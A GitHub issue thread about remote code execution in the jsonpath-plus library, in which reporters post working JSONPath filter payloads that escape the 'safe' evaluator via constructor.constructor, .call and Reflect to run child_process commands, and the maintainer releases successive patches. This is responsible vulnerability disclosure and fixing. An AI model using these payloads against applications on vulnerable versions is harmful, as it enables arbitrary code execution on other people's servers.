Remote Code Execution (RCE) is still possible

[03sunf]

Describe the bug

JSONPath Plus Remote Code Execution (RCE) Vulnerability has been patched in version 10.0.0, but Remote Code Execution (RCE) is still possible with the payload below as the path value.

Code sample or steps to reproduce

const { JSONPath } = require("jsonpath-plus");

// jsonpath-plus == 10.0.0
// $[?(var _$_root=[].constructor.constructor("console.log(this.process.mainModule.require(\\"child_process\\").execSync(\\"id\\").toString())");@root())]

const result = JSONPath({
    path: '$[?(var _$_root=[].constructor.constructor("console.log(this.process.mainModule.require(\\"child_process\\").execSync(\\"id\\").toString())");@root())]',
    json: { a: "x" },
});

Expected behavior

• Potential Remote Code Execution (RCE)
• Potential Cross-site scripting (XSS)

Environment (IMPORTANT)

• JSONPath-Plus version: 10.0.0

Desktop**

• OS: macOS
• Node Version v21.7.3

CC @shpik-kr

[brettz9]

Our "safe" vm had an issue here, so switching to use that vm by default indeed did not fix the RCE bug. I've released a new patch for the safe vm which throws upon Function access within member expressions. If there are other pathways to Function or such, they may still be vulnerable.

[ChrisWarnerMA]

This is still being flagged as vulnerable by Snyk.

[chaitanyareddy-mula]

I am not sure why this is closed. I see still synk is throwing RCE.

[brettz9]

I have communicated to Synk that this issue should now be resolved (at least with the example reported). It is up to them to find the time to review and update their records.

[80avin]

A note. The fix included will also prevent following, though not sure why would anyone expect it.

const { JSONPath } = require('jsonpath-plus');

JSONPath({ path: '$[?(_$_root.a)]', json: { a: Function } });

[brettz9]

I've released 10.0.2 to fix a vulnerability not addressed by 10.0.1. Just reported the update to Synk as well.

[brettz9]

And released 10.0.3 to fix another workaround I realized was still possible. Also reported the update.

[brettz9]

Released 10.0.4 to fix another possible evasion. Too many ways to evade detection.

[zmiele]

@brettz9 With the large amount of possible evasion methods, would it be worth considering making eval: false the default behavior for nodejs?

[brettz9]

@zmiele : I think that would really gut the library given how frequently filters are used and expected. Since we have been fixing all known vulnerabilities, and since the "safe" evaluator is a subset of JavaScript under our control, I think we should be able to get it right. It's just not such a trivial matter and could benefit from review by more eyes, especially those familiar with security circumvention techniques.

[03sunf]

Hi @brettz9 ! thank you for sharing and update. since jsonpath-plus version 10.0.5 is allowing to use function code native, RCE is possible via below paylaod

// "jsonpath-plus": "^10.0.5",
const { JSONPath } = require("jsonpath-plus");

JSONPath({
    path: '$[?(var _$_root=constructor.constructor.call([],"console.log(this.process.mainModule.require(`child_process`).execSync(`id`).toString())");@root())]',
    json: { a: 1 },
});

[brettz9]

Thanks... Should now be preventing Function.prototype.call/apply workaround in 10.0.6.

[rickgj]

just about to update latest to fix Snyk RCE report.... lol

Hi @brettz9 ! thank you for sharing and update. since jsonpath-plus version 10.0.5 is allowing to use function code native, RCE is possible via below paylaod

// "jsonpath-plus": "^10.0.5",
const { JSONPath } = require("jsonpath-plus");

JSONPath({
    path: '$[?(var _$_root=constructor.constructor.call([],"console.log(this.process.mainModule.require(`child_process`).execSync(`id`).toString())");@root())]',
    json: { a: 1 },
});

[03sunf]

@brettz9 oh I just saw your comment, thank you for update!

~Just my opinion, but I don't know if it will help.~ ~How about throwing an error when the name of the property/object is a constructor in evalMemberExpression?~

  evalMemberExpression(ast, subs) {
    if ((ast.property.type === "Identifier" && ast.property.name === "constructor")||(ast.object.type === "Identifier" && ast.object.name === "constructor")) throw new Error("cannot read property 'constructor'")
    const prop = ast.computed ? SafeEval.evalAst(ast.property) // `object[property]`
    : ast.property.name; // `object.property` property is Identifier

~Except in situations where external functions are passed via json, as shown below, It could prevent to access Function🤔~

const { JSONPath } = require("jsonpath-plus");

JSONPath({
    path: '$[?(@root.a.get(constructor, "constructor").call([]"console.log(123)")())]',
    json: { a: Reflect },
});

[brettz9]

@03sunf : I've sent you an email. Thanks!

[brettz9]

10.0.7 should have fixed another vulnerability (though we're now up to 10.1.0). Please watch new releases for any further updates. I can, however, add an update here if Snyk reports back.